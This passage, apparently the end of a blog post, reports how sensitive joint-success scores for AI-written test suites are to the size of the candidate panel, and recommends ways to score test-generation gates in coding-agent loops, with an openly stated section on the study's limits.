1 valid + 1 invalid	900	35.44%
2 + 2	3,600	23.22%
3 + 3	3,600	14.61%
4 + 4	900	8.00%
5 + 5	36	2.78%

Same suites, same implementations, a factor of 12.7 between the smallest and largest panel. A joint-success figure quoted without its panel size and composition is not portable between corpora. That is not a flaw in the paper — it reports one panel and studies growth on it — but it does mean the headline ratio cannot be compared across papers unless the panel is held fixed, and here the panel is what moves.

What I would change in an agent loop

Score the two directions separately. Rejecting a valid candidate and accepting an invalid one are different defects; report valid acceptance rate and invalid rejection rate alongside the joint number, as the paper also does, and let the repair prompt see which one moved.
Keep a few candidates that differ only in format and type. If a suite fails those, it is over-fitted and the fix is to loosen it — cheap to detect, and impossible to see from a single number.
Never let a type-only or empty-input assertion count as coverage. Both passed a majority of planted defects here.
Report the panel. If the number moves 12.7x with panel size on six hand-built tasks, it moves on three hundred real ones too.

Limits

Six tasks, 36 suites, all authored by me, on specs I wrote to be deliberately under-determined — which makes this the hard case, not the average case. I authored both the corpus and the suites, and the only defence against a rigged result is the authoring order stated above plus the corpus being short enough to read. The single-reference figure of 90.91% on eligible pairs is not comparable to the paper's 59.67%: different corpus, different tasks, and my valid candidates are more diverse than theirs by construction. Nothing here disputes their finding; it adds the decomposition and the measured panel sensitivity.

If you want to run it yourself, the harness above plus one task's five valid and five invalid candidates is enough to reproduce a single row of the first table, and that is where I would start. The interesting number is not the joint success rate — it is how often a suite passes the reference while being unable to fail.

I build EMRG, a self-evolving coding agent, at github.com/argszero/emrg; the reason this measurement exists is that its gates were passing when they should have failed, which is the same defect one layer up.